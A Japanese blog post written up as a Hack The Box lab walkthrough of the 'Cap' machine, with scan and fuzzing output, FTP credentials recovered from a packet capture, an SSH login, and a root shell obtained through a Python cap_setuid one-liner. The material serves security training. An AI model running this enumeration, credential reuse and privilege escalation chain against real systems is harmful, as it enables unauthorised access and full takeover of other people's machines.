家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】cap

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vrva1a+HtV5SnbxxtZSs+D8/EXPL2wiqOUG2ngq9zaPlF6cuLX3P2QYvGfh5bcAIVjIqNUmmc1eSHVxtbmNEQjyJdjZOP4i2IfX/RZUA18dWTfEWlNaoVDGBsc8zunvFk3nkyaynnXmlH7n3BLb1nRNyxtouW+q7VzhA6YK3ziOD6tXT7MMnDU7CfG1PfMqdU297OVP35BODg1gZawthjxMi5i5R1g3nyODudFoWaHu9GZ3D/dSQbMAxsly98L1Wr6YJ6M6xfqDurgOAl9i6TZ4zx93c/h1MO+mKH7EobPR/ZWrFGLeVFZbB6jYEflCty8W8Dwr7HOdF1gULr+Mj+BcykLlzPoEhD7YqjRBm8SHdicPP1huq+/3tN7Q/IOf68NNJDdeq6QuGKh1CKqloT/+QZzZcJRubxULUg8YLGsYUHd1umySv4cHHEXRl7vcZJst78eBqnYUtN3MweQr4ga1kQP4YZK5qUQCTPPmrKMa9NPh1sjHSdS8IwiH12V0=
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqG/RCH23t5Pr9sw6dCqvySMHEjxwCfMzBDypoNIMIa8iKYAe84s/X7vDbA9T/vtGDYzS+fw8I5MAGpX8deeKI=
|   256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPbLTiQl+6W0EOi8vS+sByUiZdBsuz0v/7zITtSuaTFH
80/tcp open  http    syn-ack ttl 63 Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET

 

ブラウザでアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

Security Snapshotにアクセスすると/dataの後の数字が変化しています。
番号をファジングします。

┌──(kali㉿kali)-[~/htb/cap]
└─$ seq 0 100 > number.txt 
                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/cap]
└─$  ffuf  -u http://10.129.14.110/data/FUZZ -w number.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.14.110/data/FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/cap/number.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

39                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
14                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
17                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
15                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
21                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
16                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
28                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
29                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
25                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
34                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
30                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 183ms]
36                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 185ms]
35                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 184ms]
31                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 185ms]
32                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 185ms]
37                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 187ms]
38                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 187ms]
33                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 188ms]
9                       [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 188ms]
20                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 184ms]
22                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 191ms]
27                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 191ms]
24                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 191ms]
11                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 189ms]
8                       [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 190ms]
26                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 194ms]
23                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 195ms]
12                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 193ms]
13                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 193ms]
10                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 194ms]
18                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 202ms]
19                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 211ms]
4                       [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 303ms]
1                       [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 312ms]
3                       [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 316ms]
41                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
42                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
40                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
2                       [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 180ms]
43                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
45                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
44                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
49                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
48                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
46                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
47                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
54                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
51                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 180ms]
52                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
53                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
50                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
56                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
57                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
58                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
55                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
59                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
6                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 188ms]
5                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 189ms]
61                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
7                       [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 193ms]
65                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
63                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
62                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
60                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 185ms]
66                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
64                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 184ms]
68                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
67                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
69                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
70                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
71                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 178ms]
0                       [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 227ms]
72                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 175ms]
73                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
74                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
77                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
78                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
75                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
76                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
79                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 175ms]
80                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 175ms]
81                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 175ms]
82                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
83                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
85                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
84                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
87                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
86                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
91                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
92                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
94                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
98                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 174ms]
90                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
88                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 183ms]
93                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
95                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
89                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 177ms]
96                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 181ms]
100                     [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 176ms]
97                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 182ms]
99                      [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 179ms]
:: Progress: [101/101] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
                                                                                                              

/data/0のファイルにはFTPの通信が含まれており、ストリームで表示するとnathan/Buck3tH4TF0RM3!のアカウント情報が確認できます。

 

user.txt取得

FTPで確認できたアカウント情報でSSHアクセスするとuser.txtが取得できます。

┌──(kali㉿kali)-[~/htb/cap]
└─$ ssh nathan@10.129.14.110
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.14.110's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  2 14:17:47 UTC 2026

  System load:           0.08
  Usage of /:            36.8% of 8.73GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.129.14.110
  IPv6 address for eth0: dead:beef::250:56ff:feb0:673b

  => There are 4 zombie processes.


63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ ls
user.txt
nathan@cap:~$ 

 

権限昇格

linpeasの結果などからcap_setuidがPythonにあることが確認できます。
この情報をもとにrootへ昇格します。

linpeas実行結果

 

nathan@cap:~$ getcap -r / 2> /dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
nathan@cap:~$  python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
#